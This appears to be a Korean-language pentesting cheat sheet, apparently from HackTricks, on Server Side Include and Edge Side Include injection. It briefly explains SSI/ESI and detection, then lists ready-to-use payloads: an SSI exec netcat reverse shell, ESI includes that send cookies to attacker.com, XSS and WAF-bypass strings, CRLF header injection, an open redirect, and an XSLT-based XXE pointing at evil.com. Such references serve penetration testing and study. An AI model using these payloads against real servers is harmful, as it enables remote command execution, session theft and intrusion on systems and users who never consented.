9.5 KiB
서버 사이드 포함/엣지 사이드 포함 주입
{{#include ../banners/hacktricks-training.md}}
서버 사이드 포함 기본 정보
(소개는 Apache 문서에서 가져옴)
SSI (서버 사이드 포함)는 HTML 페이지에 배치되고, 페이지가 제공되는 동안 서버에서 평가되는 지시어입니다. 이를 통해 기존 HTML 페이지에 동적으로 생성된 콘텐츠를 추가할 수 있으며, 전체 페이지를 CGI 프로그램이나 다른 동적 기술을 통해 제공할 필요가 없습니다.
예를 들어, 기존 HTML 페이지에 다음과 같은 지시어를 배치할 수 있습니다:
<!--#echo var="DATE_LOCAL" -->
그리고 페이지가 제공될 때, 이 조각은 평가되어 그 값으로 대체됩니다:
Tuesday, 15-Jan-2013 19:28:54 EST
SSI를 사용할 시점과 페이지를 완전히 생성할 프로그램을 선택하는 것은 일반적으로 페이지의 정적 부분과 페이지가 제공될 때마다 재계산해야 하는 부분의 양에 따라 달라집니다. SSI는 위에 표시된 현재 시간과 같은 작은 정보를 추가하는 훌륭한 방법입니다. 그러나 페이지의 대부분이 제공될 때 생성된다면, 다른 해결책을 찾아야 합니다.
웹 애플리케이션이 확장자가 **.shtml
, .shtm
또는 .stm
**인 파일을 사용하는 경우 SSI의 존재를 추론할 수 있지만, 그것만이 전부는 아닙니다.
전형적인 SSI 표현은 다음 형식을 가집니다:
<!--#directive param="value" -->
확인
// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->
// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->
// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->
Edge Side Inclusion
정보를 캐싱하거나 동적 애플리케이션의 일부로서 콘텐츠가 다음 번에 콘텐츠를 검색할 때 다를 수 있다는 문제가 있습니다. 이것이 ESI가 사용되는 이유로, ESI 태그를 사용하여 캐시 버전을 전송하기 전에 생성해야 하는 동적 콘텐츠를 나타냅니다.
만약 공격자가 캐시 콘텐츠 내에 ESI 태그를 주입할 수 있다면, 그는 문서가 사용자에게 전송되기 전에 임의의 콘텐츠를 주입할 수 있습니다.
ESI Detection
서버의 응답에서 다음 헤더는 서버가 ESI를 사용하고 있음을 의미합니다:
Surrogate-Control: content="ESI/1.0"
이 헤더를 찾을 수 없다면, 서버는 어쨌든 ESI를 사용하고 있을 수 있습니다.
블라인드 익스플로잇 접근 방식도 사용할 수 있습니다. 요청이 공격자의 서버에 도착해야 합니다:
// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable
// Blind detection
<esi:include src=http://attacker.com>
// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>
// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">
// Valid for Akamai, sends debug information in the response
<esi:debug/>
ESI 취약점
GoSecure는 다양한 ESI 지원 소프트웨어에 대해 시도할 수 있는 가능한 공격을 이해하기 위한 표를 작성했습니다. 이는 지원되는 기능에 따라 다릅니다:
- Includes:
<esi:includes>
지시어를 지원합니다. - Vars:
<esi:vars>
지시어를 지원합니다. XSS 필터를 우회하는 데 유용합니다. - Cookie: 문서 쿠키는 ESI 엔진에 접근할 수 있습니다.
- Upstream Headers Required: 상위 애플리케이션이 헤더를 제공하지 않으면 대체 애플리케이션은 ESI 문장을 처리하지 않습니다.
- Host Allowlist: 이 경우 ESI 포함은 허용된 서버 호스트에서만 가능하므로, 예를 들어 SSRF는 해당 호스트에 대해서만 가능합니다.
소프트웨어 | Includes | Vars | Cookies | Upstream Headers Required | Host Whitelist |
---|---|---|---|---|---|
Squid3 | 예 | 예 | 예 | 예 | 아니오 |
Varnish Cache | 예 | 아니오 | 아니오 | 예 | 예 |
Fastly | 예 | 아니오 | 아니오 | 아니오 | 예 |
Akamai ESI 테스트 서버 (ETS) | 예 | 예 | 예 | 아니오 | 아니오 |
NodeJS esi | 예 | 예 | 예 | 아니오 | 아니오 |
NodeJS nodesi | 예 | 아니오 | 아니오 | 아니오 | 선택적 |
XSS
다음 ESI 지시어는 서버의 응답 내에서 임의의 파일을 로드합니다.
<esi:include src=http://attacker.com/xss.html>
클라이언트 XSS 보호 우회
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
쿠키 훔치기
- 원격 쿠키 훔치기
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
- XSS를 사용하여 응답에 반영하여 HTTP_ONLY 쿠키를 탈취하기:
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
# It's possible to put more complex JS code to steal cookies or perform actions
Private Local File
이것을 "로컬 파일 포함(Local File Inclusion)"과 혼동하지 마십시오:
<esi:include src="secret.txt">
CRLF
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
Open Redirect
다음은 응답에 Location
헤더를 추가합니다.
<!--esi $add_header('Location','http://attacker.com') -->
헤더 추가
- 강제 요청에 헤더 추가
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
- 응답에 헤더 추가 (XSS가 있는 응답에서 "Content-Type: text/json" 우회에 유용함)
<!--esi/$add_header('Content-Type','text/html')/-->
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
# Check the number of url_decode to know how many times you can URL encode the value
Add 헤더의 CRLF (CVE-2019-2438)
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
Akamai debug
이것은 응답에 포함된 디버그 정보를 보냅니다:
<esi:debug/>
ESI + XSLT = XXE
eXtensible Stylesheet Language Transformations (XSLT)
구문을 ESI에서 사용할 수 있으며, 단지 dca
값을 **xslt
**로 지정하면 됩니다. 이는 XSLT를 악용하여 XML 외부 엔티티 취약점(XXE)을 생성하고 악용할 수 있게 할 수 있습니다:
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
XSLT 파일:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
{{#ref}} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {{#endref}}
참고 문헌
- https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/
- https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/
- https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91
무차별 대입 탐지 목록
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
{{#include ../banners/hacktricks-training.md}}